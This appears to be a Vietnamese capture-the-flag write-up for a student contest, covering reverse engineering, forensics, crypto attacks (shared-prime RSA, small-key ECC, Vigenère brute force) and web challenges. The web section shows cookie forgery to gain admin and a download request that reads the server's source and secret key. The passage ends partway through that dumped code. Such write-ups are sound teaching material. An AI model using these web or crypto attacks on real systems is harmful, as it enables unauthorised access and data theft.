``` __ ____________._________________________ ____ _____________ _________ / \ / \______ \ \__ ___/\_ _____/ | | \______ \/ _____/ \ \/\/ /| _/ | | | | __)_ ______ | | /| ___/\_____ \ \ / | | \ | | | | \ /_____/ | | / | | / \ \__/\ / |____|_ /___| |____| /_______ / |______/ |____| /_______ / \/ \/ \/ \/ ``` # Welcome ## Welcome https://discord.gg/GHbfSpj8NP Ở đây có 1 server discord. Nhìn qua sẽ ko có gì bên trong Khi ta search `miniCTF{` rồi chọn mục `Liên quan` Ta sẽ nhìn được flag là `miniCTF{ưecome_to_ptit}` ![{9A8540DE-DDB2-48E6-9D26-FC6FE8EDCEDB}](https://hackmd.io/_uploads/SJpQICfhgg.png) # Reverse Engineering ## Field Đề bài cho mình file .docx và có đoạn code pascal trong đó Bài này cũng khá đơn giản khi ta có thể run hoặc ghép chữ nhưng do mình lười nên mình ném cho ChatGPT ghép hộ Flag: `miniCTF{Th3_C0vv_15_Gr4z1ng_1n_Th3_F13ld}` ## Lời chào từ Alice Đề cho ta 1 file code C++ ```cpp= #include <iostream> using namespace std; #define flag_string flag[i]++ int main() { int n = flag.size(); for (int i = 0; i < n; i++) flag_string; return 0; } ``` và file dữ liệu: ```njojDUG|Xf2d1n4`u1`Wv2oe4s2boe``` Đọc đoạn code C++ ta thấy kí tự đã bị +1 ASCII Việc của ta là -1 ASCII để ra được flag đúng Code python: ```py= s = "njojDUG|Xf2d1n4`u1`Wv2oe4s2boe" decoded = ''.join(chr(ord(c)-1) for c in s) print(decoded) ``` Flag: `miniCTF{We1c0m3_t0_Vu1nd3r1and}` ## Happy birthday, Alice! Alice tin rằng mỗi con số đều mang trong nó những bí ẩn chưa được khai phá. Biết được điều này, vào ngày đặc biệt của Alice, một người bạn đã gửi cho cô một dãy số như sau: 109 214 110 215 67 151 70 193 72 124 112 192 121 216 66 115 114 198 104 199 68 120 89 122 125 cùng file chứa một chương trình đơn giản. Điều này ngay lập tức khơi dậy sự hiếu kỳ khiến Alice đứng ngồi không yên. Bạn có thể giúp Alice tìm ra thông điệp ẩn sau dãy số kia không? ```cpp= #include <iostream> using namespace std; int main() { int n = flag.size(); int flag_string[n]; for (int i = 0; i < n; i++) { if (i % 2 == 0) flag_string[i] = flag[i]; else flag_string[i] = flag[i] + flag_string[i-1]; } for (int i = 0; i < n; i++) cout << flag_string[i] << " "; return 0; } ``` Nhận thấy hương trình in ra mảng `flag_string` với quy tắc (đánh số từ 0): - Nếu `i` chẵn: `flag_string[i] = flag[i]` - Nếu `i` lẻ: `flag_string[i] = flag[i] + flag_string[i-1]` Nên khi đã có dãy số A, ta đảo ngược: - `i` chẵn: `flag[i] = A[i]` - `i` lẻ: `flag[i] = A[i] - A[i-1]` => Từ các số `109 214 110 215 67 151 70 193 72 124 112 192 121 216 66 115 114 198 104 199 68 120 89 122 125` ta còn `109 105 110 105 67 84 70 123 72 52 112 80 121 95 66 49 114 84 104 95 68 52 89 33 125` ![{48553983-6193-4B86-B897-F27A974CBF80}](https://hackmd.io/_uploads/HyC8hPF2ee.png) Flag: `miniCTF{H4pPy_B1rTh_D4Y!}` ## Rắn nhị phân Bài này mình ko biết làm nên mình nhờ ChatGPT :v: https://chatgpt.com/share/68dbefce-f57c-8004-9ebb-69d87e483941 Flag: `miniCTF{W3ird_sn4k3_6366}` # Miscellaneous ## Alice’s Lost Note Alice để quên một tờ giấy trong chuyến phiêu lưu ở Wonderland. Trên đó toàn ký tự hỗn độn, nhưng có một bí mật đang ẩn giấu. ```txt= 1yfZOUZfmMqXrQbBQUJYbWKh7dZkCR88OHD3UXieNYyj2MOjflVpz7c2NG73g16XrHlHRr0DBwnOzMk7 kZyZvoa8A4ByLtFMUt4H1EL7mGoHR8MpYxY6e5FB4f2qOBNHnvvhsuKuBpR5hJ9X1U8NzWmV6uavHVCR 40XRVkIJSrrAhQp0D2xxR0zKLMpq6cwKiALM8rfX1FugYErujz0SfsAXRHEciDokX9T32snZ3usi8Pto FYkjqbgXlB6izEn830ykCRfPGPyryKHKGu5ZweeigKvBXUjaaGvsNAO3eWzXBroqu26bJP7xjoRB7Lgn cUQKEPF9sLv7mvRQKR6UN53dDEG7vuUl2sECRqS02tuVQLm3cPQGK2gYMI5wEeD0PFdV0HGcIeoakSil jgutfwI9x5jfx1O2j5J3KZ0kTpGxEnRTvUthZDlpW0LNkkfgRyooAvWdHAQ0gQeq2cApOnUojBWgMF2P ToK8pgYrMANHonhcxIQzlaQjgLp7RhOa2IvSdnfFByJAeMhrzHdCx4zkoOw13dXwVyiS3ANiOeeVxr1O KgWijJ3ijTcpDBOdjUP6UG23B1RAAYEVfL1zXqPJ1CDwH29dgHSIZNKefS7j03JhnHK6OFkUVq05MFGQ idfrtBNtSctMwrZpT8ROA2NNyUirOivBd8QLOxIrlXzkXErJDyw58bdAbEL5gZ7pE1CNLCSBUj039nh2 Osy8oAaIDCMhqKXPwMyyvDrRpBeNzzw7MB6I7acIwZeeieOpprJwHpyUvjb7AOav6Kwb8RzjBP9FTB6S up98UfWhaZFATZwdpz41g3ye1g8pp5rcFwghSHm4CQEBe230p78dK3rSxz3Ks9XQlxL12iZDCT6gfx89 my7K3FX1vLVlDCNaVyAxCHNOrdanDDIED3E8VSd5qp5eM76ysqtYM3JNplt3wk2EPBivSY3AurMKa24J oVeS1sSrM5stEHuOrles4vakcrrfc1VrbVaiR4JL67SSoJeUq5sHV3mvw2ozHoB9VyvB5TKxTSZjbQWy qEUgWu3xKnq0tTttxDFLkM5eVl2lgQFRcQYJNwXCGXu6GUf0ubyLDcDs9N1Yf7NDBQY0qGcKqYdLyLoc eRsZfQ1BLy8jFkD8hBGR8IiF68f5Z0kZaA6nd2WMW9du7rZ3M3mTEyssCfquZf52cL8auzkmXv1nrVev Somewhere_in_the_middle: miniCTF{alice_found_the_secret} koWeRWvqsatb0lxtQLeuzfpXf2X0i4rsFgzD1id407g8YVq4cCzVkw8qdMfrI37chiTPRjkUW8IZeh1q bGqcwk5WQ7b2A6awMIYq4wxQgI3SvgJOmXb7toZaEydQm1XcH6HL47Ey7saV7q1qaSEjUuJOIo2Y0h8A DUQHY5xJXOz8VCugCrEPnuTfyiLdqvKtHRmLRQCj6OeGbhtgvAnpEeeYlIsaV9WZlA8Id05gCT2UhmXK dshKqZ8QRkaD8uUnsxbkRgOljbkki3oma4INBY4Q8uxRnXdnTOtpCrkjzhNhsBjYKbSz3TpX9duiGsec 134g9vjATyPs6i1M1QbyLesxlcdzCyCPGYOizyNWk8X7IcDsiyeAiyxkACEXNdPCDCGyfLDomDCcmwJN U8DlcEoTZQjctCxAVE3BQt16gUSDrT0L3gA6a0MAseNpGWJUAONWKdXAN8niAQFqETVVutk3g0JbKoP4 3KTlpREZ1IEtDXJy8CLMXT1EFYjyU9F7uOBULTfSbObKgBuFEw5iI8ko34JMDsdewI8H3M1fvVfG7NKJ oHWZ8u56k33I0i7BVg3eF4TAHZSpjutvCrreEJJibcCfrRkyLZopfo1SBMfdeL4npfOnEHwbx7rN7hv7 0d3Slv8cbQD3UdZtMJTLvuJeA6JCUHfcyGGSUDU2S92FvGg3saaTgo5S4moErujo0u0SNo7Qy0IZ1Dz2 9WHHszlsUXmWCIm2Ped7oPSXGSpAE2WPOlxsNIKgf9cLpzG0cc7sRETJa34Pw7urfqOIZuR583fgDwpE 5IdPHcWgZjkdOCbH6RX4dUx57lsgaN429lhZVWlgGJSa479LjcPiCSFHMBIgqxB82Sofsa78xBHOsA1j ATYWFkgyFhr2wercpml2tzLICfv6AjtRvvKPQ0SgDOVUJdXKTIIDAx6Ebkj7kbz9JWNaQoLpShumOdxa S1e06zp8s7UE2t2IAZtAGdzrlGFjtxzpVuFghYyQBx964ruCZq5xRnB9C0GgRR8yXfvyy6apyOziG6pD k7lOVxMSa8MtKzSPm5LP9bK0AVkPDpPLIdCsnDyhxiAwwnTV1oJO7dpNKjI3YsG6tZ75BbpDXFpB2UBR KLD0KgcYCI0XlqiUnJ8DqmfvUCOe0arNLExU4O3lLQk1Dqi2lIsh8CLxsyROpPPR3P7TeopEvNkivwhN ``` Flag: `miniCTF{alice_found_the_secret}` ## The Last Note Bản nhạc kết thúc, màn hình im lặng. Nhưng bạn có chắc rằng mọi thứ thật sự dừng lại ở đó? Bài này mình cũng ko biết làm nên mình nhờ ChatGPT :v: https://chatgpt.com/share/68dc8984-0494-8004-a9be-0f8019dee748 Flag: `miniCTF{T0i_Y3u_Vi3t_N4M}` ## rabbit_schedule Bài này mình dùng repeating XOR: với dữ liệu `data` và khóa `key`, `plain[i] = data[i] ^ key[i % len(key)]`. Code ```python= from pathlib import Path data = Path("schedule.enc").read_bytes() key = b"27-01-1832" plain = bytes([data[i] ^ key[i % len(key)] for i in range(len(data))]) Path("schedule.txt").write_bytes(plain) ``` Output ```txt= White Rabbit's Schedule ---------------------- Remember: I'm late! I'm late! For a very important date! Decrypt this file using the key (Lewis Carroll's birthday, format 27-01-1832) to find the secret flag. Flag (after decryption): miniCTF{white_rabbit_rush} ``` Flag: `miniCTF{white_rabbit_rush}` # Forensic ## Mystery Đề bài cho ta 1 bức ảnh và mình đã thử mở nó bằng file .txt ![{C075F0EA-4325-4843-9A4F-E068AA1BC76D}](https://hackmd.io/_uploads/B1D4ifF2xx.png) Flag: `miniCTF{hidden_in_the_wonderland}` ## Có gì đấy sai sai Mình đã thử cách bên trên nhưng ko thấy có kết quả Sau đó mình dùng exiftool ```ssh= ubuntu@instance-20250318-2203:~$ exiftool Zoro_in_vulnerland.jpg ExifTool Version Number : 12.76 File Name : Zoro_in_vulnerland.jpg Directory : . File Size : 90 kB File Modification Date/Time : 2025:09:30 09:00:43+00:00 File Access Date/Time : 2025:09:30 09:00:42+00:00 File Inode Change Date/Time : 2025:09:30 09:00:43+00:00 File Permissions : -rw-rw-r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Exif Byte Order : Little-endian (Intel, II) Processing Software : QXJlIHlvdSBmYW4gb2YgWm9ybz8gRG8gbm90IGxvc3MgbGlrZSBoaW0gYnJvb28= Image Description : QXMgYW55IHRpbWUgaGUgc2hvdyB1cCwgWm9ybyBsb3N0IGFnYWluIDoo Orientation : Horizontal (normal) X Resolution : 254 Y Resolution : 254 Resolution Unit : inches Software : bWluaUNURntXaHlfVEZfMSdtX2gzcjNfISE/P30= Y Cb Cr Positioning : Centered Exif Version : 0210 Components Configuration : Y, Cb, Cr, - Flashpix Version : 0100 Color Space : Uncalibrated Exif Image Width : 900 Exif Image Height : 596 Image Width : 900 Image Height : 596 Encoding Process : Progressive DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Image Size : 900x596 Megapixels : 0.536 ``` Nhận thấy có 3 phần đặc biệt bị để ở phần base64 ``` Processing Software : QXJlIHlvdSBmYW4gb2YgWm9ybz8gRG8gbm90IGxvc3MgbGlrZSBoaW0gYnJvb28= Image Description : QXMgYW55IHRpbWUgaGUgc2hvdyB1cCwgWm9ybyBsb3N0IGFnYWluIDoo Software : bWluaUNURntXaHlfVEZfMSdtX2gzcjNfISE/P30= ``` Sau khi chuyển thành ascii ``` Processing Software : Are you fan of Zoro? Do not loss like him brooo Image Description : As any time he show up, Zoro lost again :( Software : miniCTF{Why_TF_1'm_h3r3_!!??} ``` Flag: `miniCTF{Why_TF_1'm_h3r3_!!??}` ## Đặc sản ao sen Bài này mình cũng ko biết nốt :v: Nên vẫn nhờ ChatGPT https://chatgpt.com/share/68dc8e06-291c-8004-8706-2c5d4818df39 Bài này có 2 flag là `miniCTF{s1mpl3_th3_flag}` và `miniCTF{X01_Ngv~_54C_D4C_54N_40_53n}` thì có 1 flag đúng và 1 fake flag Thử submit cả 2 ta được flag đúng là `miniCTF{X01_Ngv~_54C_D4C_54N_40_53n}` ## F0r3nsi Bài này mình có nhờ ChatGPT chút nên mình miêu tả bên dưới 8 byte đầu của file là `82 60 42 AE 44 4E 45 49 ...` — trong đó có chuỗi ASCII `DNEI`, tức `IEND` đảo ngược (chunk kết thúc của PNG). Ở cuối file lại thấy chữ ký PNG đảo ngược: `... 0D 47 4E 50 89` (tương ứng với` \x89PNG\r\n\x1a\n` nhưng bị lật ngược trật tự byte), và cả `RDHI` (tức `IHDR` đảo ngược). Sau khi sửa lại ta được ảnh sau ![image](https://hackmd.io/_uploads/HyPoiWc2ee.png) Part 3: `_f0r3nsic5_H4rd}` Nhận thấy XMP:Rdf là ```jsonld= { "Description": { "About": "uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b", "Creator": [ "1s_Flag" ] } } ``` Part 2: `1s_Flag` Ghép 2 với 3 thành `1s_Flag_f0r3nsic5_H4rd}` Mình mạnh dạn đoán part 1 là `miniCTF{Th1s_` hoặc `miniCTF{th1s_` Sau khi thử ra được flag là `miniCTF{Th1s_1s_Flag_f0r3nsic5_H4rd}` # Crypto ## D25 Alice là tân sinh viên D25 trường PTIT, được trường gửi giấy trúng tuyển về nhà, cuối bức thư có dòng chữ như sau: `njojDUG{Y1o_Di4p_U5W_E25_E3o_Wp1_QU1U}` .Nhưng alice không biết dòng chữ này có ý nghĩa gì, bạn hãy giúp alice giải mã dòng chữ này nhé. Ở đây mình đã đưa dòng chữ đó để decrypt ở trang kt.gy từ ROT13 -> ROT12 ![image](https://hackmd.io/_uploads/S1PkwRzhxl.png) Flag: `miniCTF{X1n_Ch4o_T5V_D25_D3n_Vo1_PT1T}` ## RSA tree Alice đang khám phá xung quanh và phát hiện 1 ngôi nhà nhưng trông giống 1 cái cây to lớn kì lạ. Để tiến vào ngôi nhà này Alice buộc phải nhập mật khẩu, ở trên chỗ nhập có 1 mảnh giấy kì lạ viết rất nhiều những con số. Nhiệm vụ của bạn là giúp ALice tìm lại mật khẩu của ngôi nhà. ```txt= n1 = 22963591915998428246781020258302883671003106938831557215730746675378753010513735741461878288006096525131510306758461027212523140724386542842452511683931201802319413302620996596494864255600550365797082777739715177454234308375863953237556073682162296082403500847216184012487736747881642183490639249009330022023615108466015927235351963864981525492403263187387794779248070011451470689909389808699550583507134524606218786025418882216357611896393443728236205920766412460429686293214259698170807202820708882400274551825829645803082736732370319671356407934084137049561533281020198931964501507042239913439995184830631005562673 n2 = 14126362001069081087695183696499560175462420871656153417963002352566270710623049947562859913911799361100459299571789305780562346439589587961591539187232242128336355541370074886641816911930070785817993150721963095125762041875748207696934131186174098678340584225401889228832465189954600417182613356868760545374477260420509447732546080534783614382538819712006127211678052171011789422622300175588416426236435597079371919259654929935845018439095590395377473247623566913170351078137957306836716652579105609788747383919576777543905125873704648967910865648997568906136311193493979427879156768661375544353307332906922421282299 e = 65537 c1 = 13198744482102769908057807626169198250055710298051661536250687140119887976349604048766052568766708071584866442374573062029060094688553150706358094210101747188638237959128415912369626474840973653595174706439915867769750888540268269114451225029265053767450311641654133211013819026950780885162691579891030468284235948346603838112785928286758764779832245094115161051071510814450173231442936257324058772238609668959815728571051132171533698641435908210290875671052381925221033392839507989725510800687338291931897833465536363868064477893770584879739481288565181663600842658820525768384382583541936037500385871718419535132945 c2 = 8797567242264937268494619738073068923125305499668058133397609178281621125680921176180055755810716496802361543085799012877406294900892990527501247422691418722560538119298724671394839541633492215038264386535310207042274420407192092799703562855994116780812628884808675878921568679227569802964283735036162349155537291256627204666559021509963898251952237340926639206303824016628562959699829840760646281350525651497779133973815263440057835816274942234851228158194889575420454063928577542285038613387044064501522001853770820622832811626617060504780650674264640746815829567070680171750034138044160091943622722746186229883657 ``` Code để giải ```python= from math import gcd n1 = 22963591915998428246781020258302883671003106938831557215730746675378753010513735741461878288006096525131510306758461027212523140724386542842452511683931201802319413302620996596494864255600550365797082777739715177454234308375863953237556073682162296082403500847216184012487736747881642183490639249009330022023615108466015927235351963864981525492403263187387794779248070011451470689909389808699550583507134524606218786025418882216357611896393443728236205920766412460429686293214259698170807202820708882400274551825829645803082736732370319671356407934084137049561533281020198931964501507042239913439995184830631005562673 n2 = 14126362001069081087695183696499560175462420871656153417963002352566270710623049947562859913911799361100459299571789305780562346439589587961591539187232242128336355541370074886641816911930070785817993150721963095125762041875748207696934131186174098678340584225401889228832465189954600417182613356868760545374477260420509447732546080534783614382538819712006127211678052171011789422622300175588416426236435597079371919259654929935845018439095590395377473247623566913170351078137957306836716652579105609788747383919576777543905125873704648967910865648997568906136311193493979427879156768661375544353307332906922421282299 e = 65537 c1 = 13198744482102769908057807626169198250055710298051661536250687140119887976349604048766052568766708071584866442374573062029060094688553150706358094210101747188638237959128415912369626474840973653595174706439915867769750888540268269114451225029265053767450311641654133211013819026950780885162691579891030468284235948346603838112785928286758764779832245094115161051071510814450173231442936257324058772238609668959815728571051132171533698641435908210290875671052381925221033392839507989725510800687338291931897833465536363868064477893770584879739481288565181663600842658820525768384382583541936037500385871718419535132945 c2 = 8797567242264937268494619738073068923125305499668058133397609178281621125680921176180055755810716496802361543085799012877406294900892990527501247422691418722560538119298724671394839541633492215038264386535310207042274420407192092799703562855994116780812628884808675878921568679227569802964283735036162349155537291256627204666559021509963898251952237340926639206303824016628562959699829840760646281350525651497779133973815263440057835816274942234851228158194889575420454063928577542285038613387044064501522001853770820622832811626617060504780650674264640746815829567070680171750034138044160091943622722746186229883657 p = gcd(n1, n2) q1, q2 = n1 // p, n2 // p phi1 = (p - 1) * (q1 - 1) phi2 = (p - 1) * (q2 - 1) def inv(a,m): t, newt, r, newr = 0, 1, m, a while newr: q = r // newr t, newt = newt, t - q*newt r, newr = newr, r - q*newr return t % m d1, d2 = inv(e, phi1), inv(e, phi2) m1 = pow(c1, d1, n1) m2 = pow(c2, d2, n2) assert m1 == m2 pt = m1.to_bytes((m1.bit_length()+7)//8, 'big').decode() inner_hex = pt[len("miniCTF{hex_"):-1] print("miniCTF{" + bytes.fromhex(inner_hex).decode() + "}") ``` Flag: `miniCTF{7h3s3_L0ng_NuMb3rs_4r3_0nly_1n_VulnD3rL4nd}` ## the Strange Elliptic Hole Alice đang đuổi theo chú Thỏ Trắng. Nhưng thay vì rơi xuống hố, cô lại ngã vào một đường cong elliptic kỳ lạ… Ở Vulnderland, mọi phép toán không còn cộng trừ thông thường, mà là những đường cong uốn lượn vô tận. “Muốn thoát ra,” John Hatter cười. “ngươi phải tìm được bí mật của con thỏ trắng. Chìa khóa không nằm trong số nguyên, mà nằm trên đường cong.” Vấn đề là… đường cong nơi Alice rơi xuống lại có cấu trúc kỳ lạ. Nếu không chú ý, sẽ kẹt mãi mãi trong Vulnderland. Trong file cài đặt đã cho ta file `sinh.exe` để tạo ra chuỗi ECC ```txt= p = 2449197771542802383052148229282658932725162105937258503785396604848421268794232005982813537809056262311491 a = 560436764733023556940984226323905466622223456870819936147715156574307701412599247001750496737360554718820 b = 1275882572967713842480997808649030725845343022811518453426844203920423612831723791343986623848713825093669 G = (3, 1243176001699462340609210266028103000126103478148447003378018456635325995548704843517034256456565400104692) P = (471528365533472824904590089938452807943138128405844649356339707840217638777493880957628763949389852042706, 2138118813181497454144060012436429144021167697581306427516499080299308404451403726934285935302382172519821) C1 = (2409768973718984754186346856241424356717528154164507708924038554537659423679250789840730323265387618076669, 224004233321578532487057367408079175674764335378183849210675922947514808320232683293738610344215497727875) C2 = 1088936276006440341074261950015142771981208828605687307164405931774644924143323412484183598049569162373301 ``` ### Mô tả Đường cong: $E/\mathbb{F}_p:; y^2 = x^3 + ax + b$ với $p,a,b$ đã cho; cơ sở $G$ và public key $P = dG$. Bản mã (biến thể cộng theo tọa độ $x$): $C_1 = kG$ $C_2 = m + x!\big(d \cdot C_1\big) \pmod p$ Muốn giải mã cần private key $d$. ### Khôi phục private key $d$ Thử brute-force (CTF thường chọn $d$ nhỏ): tìm $d$ sao cho $P = dG$. Kết quả: $d = 94255$. ### Giải mã Tính $S = d \cdot C_1$, lấy $x_S = x(S)$. Tính $m = (C_2 - x_S) \bmod p$. Chuyển $m$ từ số $\to$ hex $\to$ ASCII. Code ```python= p = 2449197771542802383052148229282658932725162105937258503785396604848421268794232005982813537809056262311491 a = 560436764733023556940984226323905466622223456870819936147715156574307701412599247001750496737360554718820 b = 1275882572967713842480997808649030725845343022811518453426844203920423612831723791343986623848713825093669 G = (3, 1243176001699462340609210266028103000126103478148447003378018456635325995548704843517034256456565400104692) P = (471528365533472824904590089938452807943138128405844649356339707840217638777493880957628763949389852042706, 2138118813181497454144060012436429144021167697581306427516499080299308404451403726934285935302382172519821) C1 = (2409768973718984754186346856241424356717528154164507708924038554537659423679250789840730323265387618076669, 224004233321578532487057367408079175674764335378183849210675922947514808320232683293738610344215497727875) C2 = 1088936276006440341074261950015142771981208828605687307164405931774644924143323412484183598049569162373301 def inv(x): return pow(x, p-2, p) def add(P, Q): if P is None: return Q if Q is None: return P x1,y1 = P; x2,y2 = Q if x1 == x2 and (y1 + y2) % p == 0: return None if P != Q: lam = ((y2 - y1) * inv((x2 - x1) % p)) % p else: lam = ((3*x1*x1 + a) * inv((2*y1) % p)) % p x3 = (lam*lam - x1 - x2) % p y3 = (lam*(x1 - x3) - y1) % p return (x3, y3) def mul(P, n): R = None Q = P while n > 0: if n & 1: R = add(R, Q) Q = add(Q, Q) n >>= 1 return R d = 94255 xS, _ = mul(C1, d) m = (C2 - xS) % p flag = bytes.fromhex(hex(m)[2:]).decode() print(flag) ``` Flag: `miniCTF{Th3_wh1t3_r@bb1t_15_s0_f457}` ## eturb ni danlredluv Alice tiếp tục lạc sâu vào Vulderland. Trong bữa tiệc trà hỗn loạn, Mad Hatter nghiêng người và rút ra một mẩu giấy nhăn nhúm. Trên đó, Alice thấy một chuỗi ký tự kỳ dị mà cô chưa từng gặp: jhaoncfmgcbaaocconjhcjjaeggcbabighpbkpaklobbemcebg “Không phải bảng chữ bình thường đâu,” Hatter cười khúc khích, “ở đây, ngôn ngữ chỉ xoay quanh mười sáu ký tự đầu tiên. Mỗi lời nói đều bị xoắn vặn, dịch chuyển bởi một chiếc chìa khóa bí mật, lặp đi lặp lại theo vòng xoay vô tận…” Alice cảm thấy rõ ràng trong chuỗi kỳ quái này ẩn chứa chiếc chìa khóa để thoát khỏi Vulderland — một thông điệp mang hình hài quen thuộc: miniCTF{...} ```python= import string LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_encode(plain): enc = "" for c in plain: binary = "{0:08b}".format(ord(c)) enc += ALPHABET[int(binary[:4], 2)] enc += ALPHABET[int(binary[4:], 2)] return enc def shift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 + t2) % len(ALPHABET)] flag = "????" assert all([c in "abcdefghijklmnopqrstuvwxyz0123456789_" for c in flag]) key = "????" assert all([k in ALPHABET for k in key]) and len(key) < 15 b16 = b16_encode(flag) enc = "" for i, c in enumerate(b16): enc += shift(c, key[i % len(key)]) print(enc) ciphertext = "jhaoncfmgcbaaocconjhcjjaeggcbabighpbkpaklobbemcebg" ``` Mô tả Mã hoá b16 tuỳ biến: Mỗi byte của flag được tách thành 2 nibble (4 bit) rồi ánh xạ vào ALPHABET = "abcdefghijklmnop" (tức a=0 … p=15). Kết quả là chuỗi b16 toàn ký tự a..p. Vigenère trên hệ 16: Sau đó b16 bị “dịch + key[i] mod 16” theo Vigenère với bảng a..p. ciphertext bạn cho là kết quả cuối. Giải mã: Tìm độ dài key (≤14) và các ký tự key bằng việc yêu cầu plaintext chỉ dùng tập {a–z, 0–9, _} (đúng theo assert trong mã). Khi trừ keystream ra, hai ký tự b16 liên tiếp tạo 1 byte; ép điều kiện “byte thuộc tập allowed” giúp ràng buộc mạnh để suy ra key. Giải ra được độ dài 9 và key dlnkgpoib, giải toàn bộ thu được `l4st_ch4ll_1n_crypt0_99wp`. Ghép format thành miniCTF{...}. Code ```python= import string ALPHABET = "abcdefghijklmnop" ciphertext = "jhaoncfmgcbaaocconjhcjjaeggcbabighpbkpaklobbemcebg" allowed = set("abcdefghijklmnopqrstuvwxyz0123456789_") def unshift(c,k): return ALPHABET[(ALPHABET.index(c)-ALPHABET.index(k))%16] def b16_decode(enc): out = bytearray() for i in range(0,len(enc),2): hi = ALPHABET.index(enc[i]) lo = ALPHABET.index(enc[i+1]) out.append((hi<<4)|lo) return bytes(out) # Brute độ dài key 1..14 bằng ràng buộc tập ký tự allowed cidx = [ALPHABET.index(c) for c in ciphertext] pairs = [(2*j,2*j+1) for j in range(len(ciphertext)//2)] allowed_ords = {ord(ch) for ch in allowed} def solve(L): key = [None]*L dec_nib = [None]*len(ciphertext) pos_by_key = {r: [i for i in range(len(ciphertext)) if i%L==r] for r in range(L)} order = sorted(range(L), key=lambda r: -len(pos_by_key[r])) def assign(r,v): key[r]=v for i in pos_by_key[r]: dec_nib[i]=(cidx[i]-v)%16 # kiểm tra các byte đã đủ 2 nibble for i,j in pairs: if dec_nib[i] is not None and dec_nib[j] is not None: b=(dec_nib[i]<<4)|dec_nib[j] if b not in allowed_ords: return False return True def unassign(r): key[r]=None for i in range(len(dec_nib)): dec_nib[i]=None for rr in range(L): if key[rr] is not None: for i in pos_by_key[rr]: dec_nib[i]=(cidx[i]-key[rr])%16 def dfs(t): if t==L: pt = b16_decode(''.join(ALPHABET[n] for n in dec_nib)) return pt, ''.join(ALPHABET[v] for v in key) r = order[t] for v in range(16): if not assign(r,v): unassign(r); continue # forward-check: còn thiếu 1 nibble, phải tồn tại nibble kia để tạo byte hợp lệ ok=True for i,j in pairs: x,y = dec_nib[i], dec_nib[j] if x is not None and y is None: if not any(((x<<4)|yy) in allowed_ords for yy in range(16)): ok=False; break if x is None and y is not None: if not any((((xx)<<4)|y) in allowed_ords for xx in range(16)): ok=False; break if ok: res = dfs(t+1) if res: return res unassign(r) return None return dfs(0) for L in range(1,15): ans = solve(L) if ans: pt, key = ans print("L =",L, "key =", key, "plain =", pt.decode()) break ``` Flag: `miniCTF{l4st_ch4ll_1n_crypt0_99wp}` # Web ## Super Cookie Oguri Cap đang đi tập luyện trên đường nhưng vô tình rơi vào thế giới VulnderLand. Do liên tục chạy trong nhiều giây, dần dần cô ấy cảm thấy đói và thèm bánh quy. Bạn hãy giúp cô ấy tìm được bánh quy để tiếp tục chạy nhé! http://103.249.117.57:4999 Ban đầu nhìn web khá đơn giản và có login panel ![{11EAAB87-AE45-419C-8532-EA3C46376D95}](https://hackmd.io/_uploads/SJGkqfY3lx.png) Mình đã test login bằng admin / admin xem có điều gì xảy ra ![image](https://hackmd.io/_uploads/Hkq-czF3xg.png) Ban đầu mình thấy flag là `miniCTF{tR41n_4gy}` nhưng submit báo lỗi thì đây là fake flag Nhìn sang bên phần cookie thấy có role và user ![image](https://hackmd.io/_uploads/SyXN5MK2lx.png) Mình đã thử đổi admin thành user ở cả 2 trường hợp xem có điều gì xảy ra role: user / user: admin ![image](https://hackmd.io/_uploads/SJrTqfF3lx.png) role: admin / user: user ![image](https://hackmd.io/_uploads/B1yi5zYheg.png) Flag: `miniCTF{Sup3r_4ssm1n}` ## Choose The Way Bài này có hint free là `path traversel` nên mình check header đầu tiên ![image](https://hackmd.io/_uploads/BJpf2Iqhge.png) Mình up đại 1 file lên thấy đường dẫn khi download là `http://103.249.117.57:5000/download?name=/app/file/...` Do code bài này là python nên mình nghĩ nó sẽ ở bên ngoài folder file và có tên trong cách trường hợp như `app.py`, `main.py`, `server.py` Thử cả 3 ta sẽ có file `app.py` ở http://103.249.117.57:5000/download?name=/app/app.py ```python= from flask import Flask, render_template, request, send_from_directory, flash, redirect, url_for #IyBJbXBvcnQgY8OhYyB0aMawIHZp4buHbiBj4bqnbiB0aGnhur90 import os import time import threading app = Flask(__name__) #IyBLaOG7n2kgdOG6oW8gRmxhc2sgYXBwIHbDoCB0aGnhur90IGzhuq1wIHNlY3JldCBrZXkgY2hvIHNlc3Npb24= app.secret_key = 'duc3ksuperspitud' #IyDEkMaw4budbmcgZOG6q24gdGjGsCBt4bulYyBsxrB1IGZpbGUgdXBsb2Fk UPLOAD_FOLDER = os.path.join(os.getcwd(), 'file') #IyBU4bqhbyB0aMawIG3hu6VjIC9maWxlIG7hur91IGNoxrBhIHThu5NuIHThuqFpIHbDoCBwaMOibiBxdXnhu4FuIDc3Nw== if not os.path.exists(UPLOAD_FOLDER): os.makedirs(UPLOAD_FOLDER, exist_ok=True) try: os.chmod(UPLOAD_FOLDER, 0o777) except Exception: pass #IyBO4bq/dSB0csOqbiBXaW5kb3dzIHPhur0ga2jDtG5nIGPDsyB0w6FjIGThu6VuZw== @app.route('/') def index(): #IyBUcmFuZyBjaOG7pywgcmVuZGVyIGdpYW8gZGnhu4duIGluZGV4Lmh0bWw= return render_template('index.html') @app.route('/upload', methods=['POST']) def upload_file(): #IyBY4butIGzDvSB1cGxvYWQgZmlsZQ== if 'file' not in request.files: flash('No file part') return redirect(url_for('index')) file = request.files['file'] if file.filename == '': flash('No selected file') return redirect(url_for('index')) #IyBLaeG7g20gdHJhIMSR4buLbmggZOG6oW5nIGZpbGUgaOG7o3AgbOG7hyA= allowed_ext = {'.doc', '.docx', '.txt', '.pdf', '.xls', '.xlsx', '.png', '.jpg'} ext = os.path.splitext(file.filename)[1].lower() if ext not in allowed_ext: flash('Chỉ cho phép upload các file: doc, docx, txt, pdf, xls, xlsx, png, jpg') return redirect(url_for('index')) # I0zGsHUgZmlsZSB24bubaSB0w6puIGvDqG0gdGltZXN0YW1w timestamp = int(time.time()) save_name = f"{timestamp}_{file.filename}" file.save(os.path.join(UPLOAD_FOLDER, save_name)) #IyBLaGnhur90IGNo4bqldCBsaW5rIGRvd25sb2FkIGZpbGUgdHXhu5F1IHVwbG9hZCBs4bqleSBuYW1lPS9hcHAvZmlsZS8uLi4= flash(f'File uploaded successfully! {save_name}') 